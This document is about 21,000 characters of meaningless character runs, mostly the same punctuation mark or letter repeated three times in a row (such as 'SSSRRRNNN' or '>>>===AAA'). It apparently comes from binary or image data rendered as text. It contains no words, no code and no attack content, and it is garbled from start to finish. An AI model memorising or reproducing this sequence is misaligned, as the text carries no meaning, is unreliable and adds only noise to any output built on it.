%%%"""!!!///)))...SSSRRRNNNKKKFFFMMMJJJDDDBBBHHH---'''&&&,,,666>>>===AAADDD>>>YYYXXXVVVTTTOOOHHHCCCCCCNNNXXXYYYQQQJJJDDDEEEBBB:::;;;@@@888BBB!!!)))...)))"""222@@@<<<,,,444:::999555222---444111+++***///---'''&&&,,,666>>>===AAADDD000++++++666@@@\\\TTTNNNHHH!!!###""" """$$$    )))&&&,,,444:::999555222&&&,,,666dddcccgggjjjdddggg???===;;;777000++++++666@@@AAA999222TTTUUURRRKKKLLLPPPIIISSS^^^^^^``````]]]SSSDDD???AAAEEEAAAFFFMMMPPPLLLHHHIIINNN::::::@@@EEEHHHMMMPPPOOOMMMLLLKKKOOORRRNNNMMMMMMFFF888222000000222888@@@ )))$$$ JJJIIINNNQQQLLLHHH&&&,,,444:::999777;;;<<<999///&&&(((''')))---111...***&&&'''///???AAA>>>===)))...///999<<<666666111,,,---111---666999111444;;;333 """$$$"""'''***### $$$***......VVVUUUSSSPPPLLLCCC ...///777555LLL]]]cccXXX888333000---BBBGGG]]]^^^DDDBBBFFFCCCGGGHHH===999GGGKKKSSSUUU[[[___```]]]SSSIIIKKKJJJLLLPPPTTTQQQMMMHHHJJJRRRaaacccaaa___]]]```______SSSRRRVVVEEE???JJJOOOPPPZZZ\\\VVVVVVQQQMMMMMMQQQMMMVVVYYY777888555999@@@BBB;;;@@@DDDGGG@@@666,,,...&&&!!! ###---//////000:::AAAGGGJJJJJJIIIHHHFFF'''### %%%+++"""###***)))@@@QQQWWWLLL---'''$$$!!!666;;;JJJPPPTTTUUUSSSHHH>>>@@@???AAAFFFJJJ...***&&&'''///???AAA>>>===TTTWWWVVVVVVJJJIIIMMM<<<666AAAFFFGGGQQQTTTNNNNNNIIIDDDEEEIIIEEENNN"""''' '''&&&===NNN///111777;;;<<<999///&&&(((''')))---111...***&&&'''///???AAA>>>===444$$$)))...///UUUWWWQQQ $$$***......,,,,,,***'''### %%%666888 """###"""'''///111777;;;<<<999///&&&'''///eeegggdddcccbbbeee======111000444$$$)))...///999<<<^^^^^^YYYUUUVVVYYYVVV___bbbZZZ]]]eee\\\JJJFFFDDDBBBCCC@@@EEEMMMNNNGGGMMMRRRUUU111<<<>>>>>>@@@KKKQQQXXX[[[[[[ZZZZZZXXXUUUQQQHHH===222000000111111444999%%%666<<<111 !!!777888 OOOTTTUUUKKKFFFUUU'''///111777;;;<<<;;;AAABBB===222---))) +++111111///777CCCGGGIII+++%%%)))666//////333444,,,$$$(((999888000...+++"""!!!%%% !!!$$$'''111888999bbb___[[[\\\[[[PPP---444IIITTT[[[]]]cccdddPPP:::333666AAAKKK\\\gggUUUEEE;;;555555888333000;;;IIITTTWWW```eeefffaaaVVVQQQLLLDDD<<<;;;@@@AAANNNTTTTTTRRRYYYfffiiilllkkkbbbaaa```WWWOOOKKKKKKOOOLLLEEEIIIWWWPPPPPPSSSTTTMMMDDDHHHYYYXXX999:::555999>>>===;;;<<<999555555???BBB777---&&&###"""$$$((()))111>>>AAACCCNNNUUUVVVUUURRRNNN333222''' """###!!!(((===HHHNNNQQQWWWXXXDDD///(((***444@@@IIILLLUUUZZZ[[[VVVKKKFFFBBB999111111555777+++111111///777CCCGGGIIIaaaXXXWWWWWWNNNFFFBBBBBBFFFDDD===AAAPPP$$$///333;;;AAABBB===222---))) +++111111///777CCCGGG******...+++%%%)))RRRKKKKKK !!!$$$'''111888999888555222333222''' """---333666AAA/// $$$///333;;;AAABBB===222111111///]]]iiimmmpppooofff???>>>555...******...+++%%%)))666///WWW[[[\\\UUUMMMPPPbbbaaaYYYWWWUUUKKKBBBHHHGGGDDDEEE@@@DDDJJJJJJGGGHHHEEEBBBBBB222777888@@@NNNQQQTTT^^^eeegggfffccc```aaa```UUUCCC555222333333222444555777555 """---333666<<<===))) &&&666AAA///HHHAAAAAAEEEAAA>>>III$$$///333;;;AAABBB///111222000...111"""+++///---***,,,555888:::$$$555???888666999333111333,,,(((---+++&&&###!!!!!!%%% """000&&&!!!+++777:::\\\UUURRRRRRXXXWWW  555555BBBPPPWWWUUUWWW\\\YYYRRRMMMTTT\\\YYY```kkkcccKKK777111***(((''')))///<<<>>>IIITTTVVVWWWTTTRRRUUUFFF888888888===BBBNNNRRRPPPMMMOOOXXX[[[\\\\\\ZZZYYYYYY[[[YYYRRRMMMAAAEEEVVV```YYYWWWZZZSSSQQQSSSLLLHHH111333777======999888<<<444...000<<>>HHHTTTWWWPPPHHHEEEEEE///...  (((+++***((()))666DDDKKKIIIKKKPPPMMMFFFBBBIII111333???IIIKKKLLLIIIHHHJJJ;;;.........222777+++///---***,,,555888:::RRRQQQPPPOOORRROOOIIIDDD888<<< %%%///111222000...111"""+++///---***,,,555888777111+++ $$$555???SSSRRRUUU"""000&&&!!!+++777:::333,,,))))))///...   )))000...EEE===%%%  %%%///111222000...///---***RRR[[[___``````^^^777777999777111+++ $$$555???888666aaa[[[YYY[[[TTTQQQVVVTTTOOOMMMJJJGGGGGGKKKEEE<<<>>>BBBIIIIIIEEEDDDIII@@@:::===666777@@@NNN]]]SSSNNNYYYdddhhh```ZZZWWWWWW]]]\\\DDD:::DDDGGG===888;;;>>>>>><<<===KKK)))000...000555222+++'''...555333:::EEE===%%%CCC===777666555777 %%%///111222  ---)))&&&(((...222444444444444555333(((//////222:::444444888555+++***+++***'''(((&&& !!!!!!!!!'''---111+++!!!)))555...''')))000111RRRIIIIIIRRRWWWRRR'''''' 999;;;===AAAIIILLLPPP\\\iiinnnoootttrrriiifffeee\\\OOOGGGAAA444***(((((())))))***222@@@EEEAAA======DDDAAA>>>PPPLLLIIIKKKQQQUUUWWWWWWWWWWWWXXXVVVMMMFFFKKKNNNPPPTTTXXXUUU@@@???IIIPPPPPPSSS[[[UUUTTTXXXVVV888888<<<>>>@@@<<<555333===???EEELLLOOOJJJ>>>:::888888444,,,,,,777FFFRRRLLLDDDEEEMMMNNNEEE<<<<<>>DDD[[[]]][[[SSSTTTXXXXXXZZZ\\\WWWZZZVVVSSSPPP,,,LLLUUUSSSRRRXXXOOOGGGFFFJJJJJJGGGLLLVVVWWWBBBEEEJJJLLLHHHBBB===777444999DDDGGGHHHKKKIIIJJJ???///,,,)))***555???LLLPPPQQQNNNIIIFFFFFF@@@666666EEE---!!! &&&!!!&&&###''')))+++///111444999@@@GGGUUU```<<<888(((***000000222333333999QQQSSSQQQIIIJJJ444555777999444777MMMJJJGGGEEECCCLLLJJJIIIOOO$$$)))"""  777999888///000444555777999444111000666IIIAAAAAADDDEEEBBBGGG+++)))***###(((---!!! &&&!!!  $$$)))""" 999CCCNNN\\\___```^^^YYYWWWWWWQQQGGGGGGVVV[[[PPPAAANNNUUUPPPIIIBBB999666:::<<>>GGG===999@@@FFF666***&&&&&&&&&222BBBUUU___SSSKKK???999>>>@@@BBBEEEHHHIIIHHHDDDIII888444TTTYYY^^^]]]___\\\WWWUUURRRHHHAAACCCGGG@@@555333999;;;;;;999888@@@EEE:::===KKKLLL???>>>???444'''"""%%%///===KKKXXXTTTRRROOOKKKHHHHHHFFFBBBDDDCCC 444000///'''$$$### '''>>>[[[fffiii&&&333<<<222...555;;;,,,(((777KKKUUUIIIAAA555///444555###%%%&&&&&&;;;@@@QQQMMMJJJPPPUUU """!!!111;;;///(((###%%%&&&777<<>>+++***&&&((('''   ###  """!!!===LLLZZZgggdddbbb___[[[XXXYYYXXXTTTVVVUUUOOOHHHMMMNNNEEE???CCCGGGHHHDDDBBB;;;888777444<<>>KKKTTT!!!  """ +++%%%222111'''###*********((()))''')))(((######&&&%%%"""%%%$$$((())) &&&///666******(((######$$$RRRUUUWWWLLLHHHKKK(((%%%222111///IIIdddvvvxxxrrr___LLLCCCHHHGGGEEELLLNNNKKKEEE>>>666222666DDD]]]WWWQQQEEE444,,,---///+++000;;;CCCFFF===666555:::===>>>CCCNNNGGG???>>>$$$,,,///NNNUUU[[[^^^\\\TTTTTTRRRHHH999999DDDFFFEEE666888AAA>>>777111222888===CCCCCCGGGHHH???666999111000111444<<>>AAA???888222*** 777111,,,   """ +++%%%NNNUUUXXXVVVNNNNNNMMMCCC333444???+++---"""!!!(((%%% !!!===%%%(((&&& 777111,,,  KKKSSS\\\cccXXXWWWVVVQQQPPPRRRVVVYYY[[[QQQMMMPPPVVVTTTIII???===???888444555777:::999777RRRmmm|||iii%%%!!!!!!%%%(((XXXQQQJJJBBB???CCC777111,,,  ### """ ***,,,(((&&&///222555///((("""###))))))***$$$   """######"""###((((((""" LLLLLLKKKGGGGGGGGG!!!$$$ 000111888aaatttzzzuuuZZZFFF???===QQQTTTXXX[[[ccc[[[III>>>AAA@@@777:::VVV```aaaXXXHHH;;;;;;BBB555+++555@@@666---...---)))***+++***444>>>EEE $$$PPPSSSYYY^^^]]]TTTLLLLLLNNNIIIGGG===???CCCIIIHHHIIICCC:::888777<<<>>>>>>???777***---888999===>>>@@@AAAAAA@@@@@@FFFFFF===@@@>>>777555:::??????>>>::::::!!!$$$(((### ###$$$%%%,,,UUUhhhnnniiiNNN333666555---000KKKUUUVVVNNN===000111888+++!!!***555,,,###$$$### !!!!!!;;;999777===LLL888222000CCCGGGKKKNNNVVVOOO<<<222555333,,,///JJJ:::<<<333### SSSXXXWWWNNNFFFFFFHHHDDDBBBLLLNNN!!!$$$  999MMM555<<<555###000:::<<<333###OOOPPPUUUUUULLLPPPNNNGGGEEEKKKPPPPPPOOOLLLLLLLLLLLLPPPSSSMMMAAA;;;666333333777888999@@@iii}}}cccPPPIII***---222555<<>>111555EEEKKKAAA111555KKKdddkkkVVVBBBAAAHHH222)))111;;;000222@@@;;;---...---'''(((555!!!$$$ KKKTTTWWW___\\\LLLEEEFFFFFFGGG***444===<<<@@@EEEGGG;;;777>>>???@@@AAA>>>666111&&&%%%///999>>>CCCEEECCCCCC???444555<<<===CCCDDD999...444<<<<<<777;;;999 ###)))&&&###!!! %%%777___lllnnnccc>>>333%%%***:::@@@666&&&+++AAAYYY___KKK777666===((('''111&&&(((555111###%%%###:::===lllaaa<<<---+++***777222...)))888111$$$)))999???555%%%***@@@YYY___KKK777666===((('''222''')))666222$$$&&&%%%PPPXXXVVVFFF???@@@AAABBBZZZdddZZZ ###  CCCPPP %%% &&&>>>EEE111### 111000***+++888HHHKKKGGG)))111444<<<:::***###$$$%%%&&&===HHH===YYYYYYVVVSSS@@@<<<555333===FFFEEEJJJPPPRRRFFFBBBIIIKKKLLLMMMJJJBBB===333222NNNCCCDDDKKKMMMSSSTTTHHH>>>EEEMMMMMMHHHMMMKKK???888@@@NNNRRRIII<<<999666555444333999LLLsssyyyTTTEEECCCBBBOOOIII===AAARRRXXXNNN &&&>>>EEE111MMMDDD...   +++'''"""******###"""%%%!!! !!!!!!""""""!!!""" ###CCC@@@;;;AAADDDFFF''',,,,,,$$$333RRRpppqqqaaaNNNBBB@@@999???222......222555000888HHHNNNQQQIII===444444AAA^^^rrriiiSSSCCC777333222333>>>BBBDDD888000111;;;???+++ ===@@@BBBBBB>>>111///333444::::::555555???CCCBBBEEE@@@@@@>>>AAA@@@AAAAAA666999>>>;;;555000111999@@@@@@999555222...555777<<<:::>>>AAA333666444...444888''',,,,,,$$$888999888888000### (((GGGccceeeUUUBBB666%%%---<<>>222))))))666TTTggg^^^III888---)))((()))444888:::...&&&'''222DDD@@@;;;CCCCCC222+++000444555555444--- %%%DDDaaabbbRRR???444333,,,222%%%!!!!!!%%%((($$$,,,;;;BBBEEE===222))))))666SSSggg^^^III999---***((()))444888;;;///((((((333666### ;;;;;;777+++***...///000888GGGCCC''',,,,,,$$$ ***HHHIII  !!!(((+++###999MMMDDD...333>>>BBB...,,,++++++   +++'''KKKRRRRRRBBB;;;@@@CCCCCC??????IIINNNLLLPPPKKKKKKIIILLLLLLNNNNNNBBBEEEJJJHHHDDD@@@<<>>BBBKKKTTT,,,111///+++&&& ```jjjVVV:::000>>>???777222)))((()))---111222???QQQVVVNNN777000111...333:::MMMVVV[[[WWWEEE666+++)))000===<<<333666555444333 +++***)))+++...555???AAA:::444666888999===@@@LLLOOOPPPNNNHHHHHHGGGGGGGGGBBB666111333222------///999<<<>>>@@@<<>>***,,,111///HHHCCC555000---)))'''***666UUU___JJJ...%%%&&&'''444FFFLLLDDD,,,%%%&&&###(((///BBBLLLQQQMMM:::+++!!!&&&333333))),,,++++++)))???BBB:::999666<<<:::222,,,...???222,,,***&&&$$$'''222RRR\\\HHH,,,###000222)))%%% %%%&&&333EEEKKKCCC+++%%%%%%###(((///BBBLLLQQQMMM;;;,,,!!!'''333444***---,,,,,,+++"""$$$(((///888;;;999888BBBFFF>>>"""111///+++&&& 888BBB... ***000)))  (((111666222 777777666+++(((  &&&)))!!! FFFLLLJJJBBB<<>>777:::@@@EEEEEEHHHJJJGGGFFFEEECCCGGGOOOYYY[[[```^^^[[[VVVHHHCCC@@@<<<;;;>>>JJJiiisss___CCC:::GGGIIIAAA<<<444 >>>KKK]]]ccc\\\DDD  (((111666 ...---   $$$,,,&&&(((222333//////---...)))%%%"""  BBBEEENNNGGGCCCNNN,,,'''###%%%###,,,jjjWWW<<<,,,...<<<@@@666---)))(((((()))000666EEEVVVYYYEEE555222===AAACCCAAA555111AAASSSRRRAAA222+++---777:::555000...+++&&&******---000666888GGG@@@666222333666>>>HHHSSSSSSPPPPPPNNNNNNHHHEEEAAA===999777222......222333000)))+++333444///+++)))000444888888666888555888AAA:::777$$$,,,'''###BBB???---%%%""""""...555HHH^^^KKK000 $$$+++999KKKNNN:::+++(((222555888666***&&&666IIIHHH777(((!!!###---000+++'''%%%!!!333///333222444===EEE???777///***<<<)))!!!+++333FFF\\\III... ...222((( ###***888JJJMMM999***'''111555888666***&&&666IIIHHH777((("""$$$...111,,,(((&&&"""$$$'''***000222666999666222666666  ###%%%###,,,BBB/// ///333  ...---111---)))))) NNNUUUPPPHHH???;;;<<>>;;;BBB===:::888???CCCHHHHHHFFFHHHFFFIIIRRRKKKHHHSSS[[[VVVRRRUUURRR???888555555AAAIII]]]rrr```EEE555777EEEJJJ@@@888444;;;BBBQQQbbbfffRRRBBB      &&&)))###&&&000111///---...000---)))%%%!!!"""%%%%%%    555:::DDDMMMNNNVVV555*** 555AAADDD...)))+++555;;;111***)))(((((())),,,666FFFRRRQQQ999333AAAUUUWWWEEEGGG666***,,,444???DDD===///(((...333000...,,,%%%***111888<<<555,,,GGGJJJDDD===111000111666GGGQQQRRROOONNNNNNPPPNNNHHHEEEAAAAAAEEEEEE===666444777888---''')))------...,,,(((,,,---+++---...***)))---888@@@AAA,,,555***;;;999777(((&&&'''///999:::RRR]]]888###!!!+++;;;GGGFFF...(((666JJJLLL:::<<<+++ !!!***555:::333%%%$$$)))&&&$$$"""(((+++&&&###$$$&&&000???BBB===555***(((333%%%###$$$,,,666777OOO[[[555 '''...$$$,,,+++---(((555JJJLLL999<<<+++ !!!***555:::444&&&%%%***'''%%%$$$ ***111555///&&&+++...)))&&&''')))   555AAA,,,+++ ///111!!!000***///555222000...+++(((  OOORRRMMMEEE:::888:::???QQQ[[[\\\YYYXXXYYY[[[XXXTTTQQQMMMMMMQQQQQQIIICCC;;;===;;;777;;;<<<;;;<<<>>>:::999>>>HHHRRRSSS\\\dddYYYMMMKKKIII;;;999:::BBBMMMNNNfffqqqLLL777333444>>>EEE;;;444444888AAARRR___^^^FFF@@@///111!!!      $$$!!!$$$***000---,,,)))###!!!''')))%%%%%%%%%!!!  999EEEHHHKKKJJJ<<< ###$$$""""""'''(((///***))))))+++---...;;;(((+++333999444???LLLOOOKKK333666JJJTTTPPP555+++444777111---111000222+++&&&+++777111+++'''%%%'''---222111000777;;;444///111///***///888???EEEAAA@@@DDDKKKPPPMMMMMMIIICCC@@@GGGHHHEEEDDDDDD@@@888555888444000111///---222///''''''+++---'''---888;;;>>>=== 666666;;;:::@@@@@@>>>>>>CCCEEE888###)))444@@@EEE@@@(((+++???IIIFFF+++!!!***---&&&###'''&&&(((!!!!!!---(((!!!''')))$$$%%%,,,333---***///333,,,'''***'''###888666======;;;;;;@@@BBB555 !!!...''' %%%)))$$$ $$$...EEE*** ***---'''###'''&&&)))!!!"""...)))"""&&&++++++***,,,'''(((///777000--- ###$$$""""""'''((( %%%)))$$$ $$$...***  111333,,,'''---999333---***(((   ;;;777:::777333888AAAIIIOOOKKKJJJOOOUUU[[[XXXXXXUUUOOOLLLSSSUUUQQQQQQ???>>><<<@@@>>>666666;;;===777===IIILLLOOOOOOAAA;;;HHHHHHHHHNNNMMMSSSTTTRRRRRRWWWYYYLLL777333333333555777888FFF EEE???JJJWWW\\\WWW???BBB$$$...***  ...666555111***'''%%%"""***---+++)))&&&###!!!!!!FFFKKKJJJEEEBBB777 """(((&&&$$$$$$ ***))))))))))))***,,,...888KKKRRREEEHHHTTT\\\UUU===888EEESSSOOO;;;...<<>>555---***(((&&&&&&&&&***---%%%'''(((---222999,,,000000777:::222222333111888::::::???OOOWWWVVVRRRJJJGGGEEEBBBIIIMMMKKKIIIEEEBBB@@@>>>;;;888;;;@@@<<<:::;;;666111777:::666111:::>>>===888666 ***555;;;???EEECCCAAAAAA555,,,''' GGG999<<>>>>>222***$$$!!!+++===+++!!!---555...---***###!!!"""''',,,333???;;;888444$$$###$$$!!!"""(((&&&$$$$$$ +++!!!---555...---***>>>666...+++***(((((((((---/// ### 888???BBB::::::;;;:::AAACCCDDDIIIYYYaaa```]]]UUUSSSPPPNNNVVVYYYWWWVVVOOOKKKHHHJJJEEEAAAGGGJJJFFFAAAJJJOOOOOOIIIGGG<<<555<<>>@@@@@@888---'''&&&'''+++ %%%%%%&&&,,,777@@@666---***888GGGJJJBBB@@@===999666444999AAAMMMQQQSSSTTTKKKHHHHHHIIILLLFFFBBBAAA@@@BBBEEE@@@??????CCCGGGIIIHHHDDDAAA@@@BBB>>>666:::@@@???@@@666222222111222666>>>@@@===777000%%%EEE:::888@@@NNNVVVJJJ;;;333===OOOHHH<<<+++888???FFFCCC---444666666...###$$$///777BBBGGGEEE<<<111......%%%###111???BBB;;;888333;;;===:::444---""",,,666CCC888$$$222:::... !!!333,,,!!!$$$***((( &&&111:::DDDJJJHHH???444111111!!! $$$(((******%%%###"""$$$ """!!!### $$$222:::... !!!333,,,!!!$$$PPPMMM888>>>AAABBB:::...)))(((***  (((---***""" PPPRRRKKKIIIFFFBBB???>>>CCCKKKWWW[[[]]]___VVVSSSTTTUUUXXXSSSOOONNNVVVXXXWWWSSSQQQPPPRRRNNNFFFJJJQQQPPPQQQGGGCCCGGGFFFCCCCCCDDDHHHQQQSSSPPPJJJCCC888333333333333333333333333444)))PPPNNNWWWeeemmmaaaSSSJJJ!!!333,,,!!!$$$***$$$'''%%%!!! ---### )))000...,,,&&&%%%###&&&,,,(((""" """,,,222222000,,,******+++***'''%%%)))$$$%%%&&&### ***...(((&&&+++)))!!!&&&RRRRRRRRRDDD:::=== $$$%%%'''###******))))))))))))<<>>000666DDDGGGNNNIIICCCAAA999<<>>%%%""",,,333:::CCCJJJIIIGGG@@@???555(((...===@@@FFFBBB...>>>???AAA===222###000AAAIII000&&&333<<<111)))777666444$$$'''%%%!!! ---###  FFFMMMLLLJJJCCCBBB### ***...(((&&&+++)))!!!&&&''''''$$$%%%'''###&&&333<<>>===DDDTTTUUUWWWTTTHHH999333222333333333333333333333&&&...HHHMMMYYYfffooodddPPPNNN)))777666444$$$'''%%%)))222000,,,  )))///222222***%%%'''%%%$$$!!!!!!&&&!!!!!!$$$---+++'''&&&%%%$$$)))---...***#########!!!###$$$ ...888999555444000///222///NNNLLLMMMAAA;;;222  ***)))***///111???JJJDDD777AAAOOOXXXTTT<<<333DDDLLLNNNJJJDDD999OOOXXXVVVRRRFFF:::999>>>999===777+++&&&''' %%%'''///777BBBAAAGGGIIIGGGFFFCCCCCCGGGCCC???>>>@@@BBBEEEOOOLLLGGGGGGFFFEEEIIIMMMNNNJJJCCCCCCBBBAAACCCDDD@@@666444777===MMMWWWYYYTTTSSSOOONNNQQQNNNAAA???@@@555///&&& !!!)))...///,,,(((---444,,,""">>>999,,,666DDDNNNIII111(((999AAACCC???999///EEENNNLLLHHH;;;000///444000333&&&...999999;;;CCCJJJLLLLLLEEE???AAA???>>>;;;;;;@@@;;;+++((($$$***111)))"""$$$222===777+++(((111--- &&&(((###)))222000,,,    )))///222222***%%% ...888999555444000///222///###!!! (((111---:::111&&&(((###CCC999NNNXXXVVVRRRFFF;;;:::???;;;>>>   )))///222222***%%%'''%%%$$$!!!KKKPPPKKKGGGGGGIIILLLOOOXXXVVVRRRRRRQQQPPPUUUYYYZZZVVVPPPOOOOOOKKK[[[fffgggcccbbb___]]]aaa^^^RRRPPPQQQFFF@@@777222333;;;@@@AAA>>>:::@@@GGG???666333333333444444444333555 """BBBMMM[[[eee```HHH???QQQ&&&(((###)))222000$$$---)))###))) %%%111*** """###$$$%%%''')))###"""'''+++)))+++***(((###$$$######'''******)))%%%###%%% &&&'''### """((()))...777:::666333...)))***PPPJJJJJJMMMFFF666 ******...999LLLOOOOOO<<>>LLLSSS777+++000???IIIEEE???EEE;;;777@@@LLL!!!"""444???HHHJJJAAA======???@@@AAADDD===111333333...111777---  ###!!!,,,???AAACCC000666!!!---+++ """000666$$$---)))###))) %%%111***%%%---///&&&"""###$$$%%%''')))'''### """((()))...777:::666333...)))***%%%!!!---+++)))000GGGUUU\\\AAA444:::JJJSSSOOOIIIOOOFFFBBBLLLWWW*** %%%---///&&&"""###$$$%%%''')))###AAAGGGMMMQQQVVVTTTVVVUUUTTTNNNOOONNNOOOSSSVVVVVVVVVQQQPPPRRRUUUWWW\\\eeehhhdddbbb\\\WWWYYYTTTNNNNNNRRRKKK;;;333555===FFFCCC666555666888666333333222444444444444444$$$'''(((MMMTTT```^^^III888???UUU000666$$$---)))---,,,$$$ ###666:::/// +++---555666111,,,'''&&&+++...---000000&&&###&&&%%%&&&***,,,---+++)))///---%%%***,,,+++***)))***%%%"""$$$...000,,,&&&"""$$$NNNFFFGGGRRRRRR>>>  +++111<<>>555 111///FFFPPPTTTSSSOOOIII======;;;444444>>>HHHMMMPPPOOOQQQQQQGGGDDDFFFEEEGGGJJJMMMNNNKKKIIIOOONNN>>>EEEJJJLLLKKKJJJHHHIIIDDDAAACCCNNNPPPLLLEEEAAABBBAAA:::;;;EEEEEE222$$$(((111333,,,&&&)))### HHH000111+++999CCCMMMBBB((("""...@@@IIIGGG,,,***;;;IIIHHH@@@;;;888))),,,'''###""")))&&&>>>HHHKKKKKKJJJFFFHHHPPPQQQLLLGGGAAA555555333------666)))###&&& $$$///FFF...000***888BBB000&&& $$$,,,+++ ---,,,$$$ ###666:::/// ###---000000///+++---555666111,,,,,,+++***)))***%%%"""$$$...000,,,&&&"""$$$###'''000&&& +++777IIIRRRPPP555333FFFSSSRRRJJJFFFCCC444777###666:::///  ###---000000///+++---555666111,,,'''===FFFQQQVVVYYYXXX[[[[[[RRRNNNQQQQQQRRRVVVXXXZZZXXXVVV[[[ZZZWWWSSSPPPRRR\\\___[[[UUUQQQSSSRRRJJJKKKWWWWWWCCC555999BBBEEE>>>999;;;666333333333333222333444444444555 +++AAAPPPZZZcccYYY???:::EEEWWW,,,+++ ---,,,YYY111222///+++  )))666&&&///,,,888===777(((###$$$///666999888555222''' (((...---&&&)))&&&'''...---&&&(((((('''&&&'''333333---''' IIIJJJGGGSSSUUUBBB  000<<>>======;;;AAAIIIOOONNNFFFIIIFFF???GGGOOOMMMFFFHHHGGGFFFFFF===777FFFSSSSSSLLLFFF>>><<<===;;;FFFHHH666''')))...---)))***+++### 111>>>!!!'''444@@@LLLBBB***&&&222BBBGGG:::)))000===NNNOOOKKKGGG888!!!###---)))@@@IIIFFFFFFSSSJJJGGGSSSXXXRRRBBB===222444333000555???%%%&&&((( ###///<<< &&&222>>>///%%% &&&*** !!!111222///+++  )))666&&&%%%---******888///,,,888===777(((---&&&(((((('''&&&'''333333---''' (((###///%%% ;;;KKKPPPDDD222999GGGWWWXXXUUUQQQCCC  )))666&&& %%%---******888///,,,888===777(((###OOOZZZaaadddccc```^^^RRRHHHGGGHHHFFFLLLTTTZZZZZZRRRVVVSSSUUUTTTKKKFFFUUUbbbbbb\\\VVVOOOLLLNNNLLLWWWYYYGGG888:::@@@>>>;;;<<<===666333444333333333333444444444!!!777===JJJVVVcccXXX@@@<<>>555777888<<>>777NNNVVVQQQJJJKKK$$$  $$$333EEE888"""  !!!%%%%%%)))333???:::000111,,,(((+++...YYYXXXXXXYYY[[[VVVUUUWWWWWWSSSKKKLLLMMMNNNWWWQQQGGGGGGTTTLLLCCCEEEGGGKKKRRRXXX[[[ZZZYYYXXXLLLHHHLLLTTTLLL???===CCCGGGJJJMMMCCC===999444333333333333444777@@@FFFYYYOOO<<<999AAAHHH'''...)))000+++XXXZZZ!!!!!!'''### """***$$$;;;FFF???///!!!)))...000///222111222000(((%%%***...---))),,,***((((((***+++(((((()))""" %%%!!!!!!(((+++,,,TTTHHH:::555:::LLL&&&$$$***,,,,,,!!!  111***000;;;@@@MMM>>>+++...;;;EEEXXXSSS888AAARRROOOHHHGGGMMMIII """OOOBBB@@@JJJaaakkk???/// ---...444999<<>>999999<<>>;;;<<<<<<:::@@@GGGJJJLLLGGG<<<...)))...@@@DDD;;;:::BBBIIIKKKKKK???---***222&&&%%%111555BBB333!!!$$$000:::NNNIII...777GGGEEE======CCC???777,,,***---,,,'''$$$%%%%%%,,,111444777<<>>!!!!!!(((+++,,,((( !!! OOOLLLIIIKKKKKKIIIOOOWWWZZZ\\\WWWLLL>>>999>>>QQQVVVLLLKKKTTT[[[]]]]]]RRR@@@<<<777444333333333  555;;;FFFKKKXXXJJJ888;;;GGGQQQ111,,,+++)))!!!VVV\\\---,,,### &&&666------ +++@@@PPPPPP???*** !!!"""...000---///,,,###((((((&&&%%%"""""" &&&''')))***### !!! !!!%%%+++000+++PPPEEE999999@@@III&&&!!!***000+++  ---666;;;NNNCCC333...333???IIIMMMEEE<<>>===>>>>>>>>>888...111777777999;;;???>>><<>>BBB:::222===???DDDJJJHHH???lll[[[FFF777555999666---&&&!!!###&&&666;;;<<<===888888IIILLLHHHKKKGGG>>>CCCCCC777FFFKKKGGG222)))///%%%###(((***!!!!!!)))///AAA777  !!!%%%!!!###(((---,,,### &&&666------ +++@@@PPPPPP???***  !!!"""...000---///,,,###((((((&&&%%%"""AAA999===???EEEGGGHHHJJJBBB<<<<<<=========888...111888!!! !!!%%%+++000+++%%%  LLLJJJNNNPPPOOOOOOTTTZZZ___[[[TTTIII======EEENNNVVVQQQOOOKKKMMM[[[aaa]]]GGG???EEE;;;555444 888888@@@FFFYYYNNN>>>:::???KKK!!!%%%!!!###(((cccaaaXXX...*** ,,,***&&&%%%,,,FFFTTTXXXOOO@@@111'''%%%###$$$***...222//////222555///'''"""### %%%******%%% >>>;;;>>>BBB???<<<999AAADDD>>>666:::KKKPPPOOO???######!!!&&&333555EEE... &&&...<<>>HHHLLLUUUKKKGGG:::bbbppptttkkk\\\MMMCCCEEE;;;333&&&###&&&)))<<>>???FFFIIINNNJJJJJJMMMPPPKKKBBB666HHHMMMLLL<<<+++...'''!!!!!!!!!$$$111333DDD///$$$"""+++///888...*** ,,,***&&&%%%,,,FFFTTTXXXOOO  '''%%%###$$$***...222//////222555///'''"""### :::777;;;EEEIIIJJJDDD===<<<===:::999666444***...;;;###&&&%%%%%%$$$&&&######&&&***,,,***### !!! RRRTTTQQQNNNQQQUUUYYY\\\YYYNNNKKKNNNRRRPPPMMMJJJRRRVVVPPPGGGLLL^^^cccaaaRRRAAACCC===777444;;;HHHJJJ[[[DDD666<<>>KKK???---%%%...666999;;;===BBBFFFJJJCCC ***<<<111!!! +++444:::LLL<<<555KKKLLL^^^TTTJJJ@@@///---///;;;SSSkkkuuuwwwoooZZZRRRCCC777333333555===AAA:::333444;;;:::999???KKKKKKEEEBBBDDDAAA:::???CCCGGGAAA,,,###!!!!!!!!!((( ///...///AAA777---$$$ ###)))###%%% 777OOOXXX!!!&&&###//////***''')))&&&GGG@@@???@@@DDDAAA:::666555666:::;;;===AAAVVVRRRHHH(((&&&###!!!"""$$$%%%---(((+++ %%%PPPQQQRRRKKKKKKTTT\\\WWWKKKFFFFFFNNN[[[PPP>>>555>>>HHHJJJMMMOOOUUUYYY\\\VVVAAA999777444444666???QQQGGG777777AAA///...///AAAlllbbbYYYGGG))) %%%&&&...///  ###CCCSSSYYYZZZ%%%&&&######""""""###(((@@@???999888444---''')))***+++333:::>>>BBBEEECCC  &&&555(((###---999FFFEEE222444JJJGGGQQQDDDEEE999)))%%%***''',,,???___ooouuuwwwssscccMMMCCC@@@:::444444222444666666111000111000:::AAABBB;;;999???777;;;???BBB@@@444,,,'''###"""  )))(((,,,***444((())) %%%&&&...///  ###CCCSSS$$$%%%&&&######AAABBB===:::;;;:::777444444333444;;;CCCHHHHHHFFF&&&%%%$$$&&&###"""&&&$$$!!!!!! $$$ GGGRRRUUURRRNNNQQQUUUSSSPPPPPPOOOHHHIIIEEE===777:::;;;<<>>555999CCC)))(((,,,***444]]]^^^RRRBBB ///333((("""&&&///FFFQQQVVV '''AAAAAA===;;;BBBDDD:::333666777888777888;;;<<<=== """'''&&&!!! $$$---===RRR===---888IIILLLEEE@@@999,,,,,,///---333>>>BBBLLLbbbmmmsssxxxttthhhVVVKKKBBB888***,,,111...***///222///...---333999999999666444555888999999:::999444,,,%%%"""   555 ,,,...(((### ///333((("""&&&///FFF///&&& 777;;;:::<<<===999999:::999;;;===;;;???HHHKKKKKK'''%%%%%%!!!$$$&&&###!!!"""""""""%%% GGGPPPRRRUUURRRMMMLLLNNNPPPQQQQQQMMMKKKRRRUUUKKKDDDGGGHHHJJJIIIJJJMMMOOOOOO 